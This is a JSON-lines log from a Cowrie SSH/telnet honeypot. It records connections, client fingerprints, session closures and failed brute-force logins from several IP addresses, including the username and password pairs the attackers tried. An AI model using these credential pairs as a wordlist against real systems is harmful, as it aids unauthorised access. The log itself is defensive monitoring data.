{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx123","message":"login attempt [admin/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:43.327537Z","src_ip":"34.135.200.178","session":"299f3a72d732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.8263783454895,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:43.762170Z","src_ip":"134.209.8.29","session":"042b60975e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:44.366806Z","src_ip":"34.135.200.178","session":"299f3a72d732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35156,"dst_ip":"159.203.135.109","dst_port":23,"session":"b89c98cc1b00","protocol":"telnet","message":"New connection: 134.209.8.29:35156 (159.203.135.109:23) [session: b89c98cc1b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:50.728610Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46430,"dst_ip":"10.17.0.5","dst_port":22,"session":"3114aa37ee63","protocol":"ssh","message":"New connection: 150.95.157.171:46430 (10.17.0.5:22) [session: 3114aa37ee63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:55.248752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:55.253345Z","src_ip":"150.95.157.171","session":"3114aa37ee63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:55.416515Z","src_ip":"150.95.157.171","session":"3114aa37ee63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZxsw2.","message":"login attempt [test/!QAZxsw2.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:56.108577Z","src_ip":"150.95.157.171","session":"3114aa37ee63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:57.287046Z","src_ip":"150.95.157.171","session":"3114aa37ee63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66885353f32","protocol":"telnet","message":"New connection: 134.209.8.29:40734 (159.203.135.109:23) [session: c66885353f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:58.816754Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49602,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9e2376afed","protocol":"telnet","message":"New connection: 38.54.119.93:49602 (10.17.0.5:23) [session: ce9e2376afed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:59.186930Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51972,"dst_ip":"10.17.0.5","dst_port":23,"session":"18d9b2b4f250","protocol":"telnet","message":"New connection: 38.54.119.93:51972 (10.17.0.5:23) [session: 18d9b2b4f250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:03.795343Z"}
{"eventid":"cowrie.session.closed","duration":5.084304332733154,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:04.271139Z","src_ip":"38.54.119.93","session":"ce9e2376afed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53258,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a68c7cd4c48","protocol":"telnet","message":"New connection: 38.54.119.93:53258 (10.17.0.5:23) [session: 1a68c7cd4c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:04.722695Z"}
{"eventid":"cowrie.session.closed","duration":3.9812095165252686,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:08.703747Z","src_ip":"38.54.119.93","session":"1a68c7cd4c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40728,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab3aaea8c0a","protocol":"telnet","message":"New connection: 134.209.8.29:40728 (159.203.135.109:23) [session: cab3aaea8c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:10.183117Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49554,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ded537a7ba","protocol":"telnet","message":"New connection: 134.209.8.29:49554 (159.203.135.109:23) [session: 66ded537a7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:10.387681Z"}
{"eventid":"cowrie.session.closed","duration":0.009884834289550781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:10.397402Z","src_ip":"134.209.8.29","session":"66ded537a7ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.292156219482422,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:12.475130Z","src_ip":"134.209.8.29","session":"cab3aaea8c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.963998556137085,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:15.242612Z","src_ip":"134.209.8.29","session":"846879f822e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39438,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d7cb73ae1bc","protocol":"telnet","message":"New connection: 134.209.8.29:39438 (159.203.135.109:23) [session: 6d7cb73ae1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:15.828386Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":35554,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec437565e05b","protocol":"ssh","message":"New connection: 147.50.231.135:35554 (10.17.0.5:22) [session: ec437565e05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:25.900071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:25.911340Z","src_ip":"147.50.231.135","session":"ec437565e05b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:26.174521Z","src_ip":"147.50.231.135","session":"ec437565e05b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123@","message":"login attempt [admin/qwe123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:27.261194Z","src_ip":"147.50.231.135","session":"ec437565e05b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:28.528398Z","src_ip":"147.50.231.135","session":"ec437565e05b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.27679204940796,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:29.005251Z","src_ip":"134.209.8.29","session":"b89c98cc1b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37728,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfeaabeb8870","protocol":"telnet","message":"New connection: 134.209.8.29:37728 (159.203.135.109:23) [session: bfeaabeb8870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:29.870954Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":47392,"dst_ip":"10.17.0.5","dst_port":22,"session":"825006ba5cf8","protocol":"ssh","message":"New connection: 34.135.200.178:47392 (10.17.0.5:22) [session: 825006ba5cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.060707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.066604Z","src_ip":"34.135.200.178","session":"825006ba5cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.100765Z","src_ip":"34.135.200.178","session":"825006ba5cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"testmail","message":"login attempt [mailtest/testmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.270087Z","src_ip":"34.135.200.178","session":"825006ba5cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":49845,"dst_ip":"159.203.135.109","dst_port":22,"session":"47df95c7848c","protocol":"ssh","message":"New connection: 205.254.166.101:49845 (159.203.135.109:22) [session: 47df95c7848c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.399532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.406119Z","src_ip":"205.254.166.101","session":"47df95c7848c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:32.616546Z","src_ip":"205.254.166.101","session":"47df95c7848c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:33.306900Z","src_ip":"34.135.200.178","session":"825006ba5cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345","message":"login attempt [frappe/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:33.478555Z","src_ip":"205.254.166.101","session":"47df95c7848c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:34.689958Z","src_ip":"205.254.166.101","session":"47df95c7848c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.99743175506592,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:39.814083Z","src_ip":"134.209.8.29","session":"c66885353f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.99.66.254","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"6507d68e7e2c","protocol":"telnet","message":"New connection: 43.99.66.254:57298 (159.203.135.109:23) [session: 6507d68e7e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:43.546292Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47956,"dst_ip":"159.203.135.109","dst_port":23,"session":"00193b1cce46","protocol":"telnet","message":"New connection: 134.209.8.29:47956 (159.203.135.109:23) [session: 00193b1cce46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:51.516640Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":35482,"dst_ip":"10.17.0.5","dst_port":22,"session":"d20a4be97f0e","protocol":"ssh","message":"New connection: 150.95.157.171:35482 (10.17.0.5:22) [session: d20a4be97f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:53.274998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:53.284694Z","src_ip":"150.95.157.171","session":"d20a4be97f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:53.451199Z","src_ip":"150.95.157.171","session":"d20a4be97f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123@","message":"login attempt [admin/qwe123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:54.124395Z","src_ip":"150.95.157.171","session":"d20a4be97f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:55.283293Z","src_ip":"150.95.157.171","session":"d20a4be97f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1dae183174","protocol":"telnet","message":"New connection: 134.209.8.29:46122 (159.203.135.109:23) [session: 9b1dae183174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:57.565031Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":44756,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda0cb61d5bb","protocol":"telnet","message":"New connection: 194.233.64.34:44756 (159.203.135.109:23) [session: dda0cb61d5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:20:59.968661Z"}
{"eventid":"cowrie.session.closed","duration":44.53003549575806,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:00.358084Z","src_ip":"134.209.8.29","session":"6d7cb73ae1bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46108,"dst_ip":"159.203.135.109","dst_port":23,"session":"bac56b75824f","protocol":"telnet","message":"New connection: 134.209.8.29:46108 (159.203.135.109:23) [session: bac56b75824f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:01.637907Z"}
{"eventid":"cowrie.session.closed","duration":8.303081035614014,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:05.867976Z","src_ip":"134.209.8.29","session":"9b1dae183174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60640,"dst_ip":"159.203.135.109","dst_port":23,"session":"383026154741","protocol":"telnet","message":"New connection: 134.209.8.29:60640 (159.203.135.109:23) [session: 383026154741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:06.044948Z"}
{"eventid":"cowrie.session.closed","duration":4.626153230667114,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:06.263915Z","src_ip":"134.209.8.29","session":"bac56b75824f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582951068878174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:14.129152Z","src_ip":"43.99.66.254","session":"6507d68e7e2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37284,"dst_ip":"159.203.135.109","dst_port":23,"session":"de17396fc3d3","protocol":"telnet","message":"New connection: 134.209.8.29:37284 (159.203.135.109:23) [session: de17396fc3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:14.598727Z"}
{"eventid":"cowrie.session.closed","duration":45.60262322425842,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:15.473448Z","src_ip":"134.209.8.29","session":"bfeaabeb8870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":44822,"dst_ip":"159.203.135.109","dst_port":23,"session":"565ea9cfd009","protocol":"telnet","message":"New connection: 194.233.64.34:44822 (159.203.135.109:23) [session: 565ea9cfd009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:15.642421Z"}
{"eventid":"cowrie.session.closed","duration":4.701937437057495,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:19.300566Z","src_ip":"134.209.8.29","session":"de17396fc3d3","protocol":"telnet"}
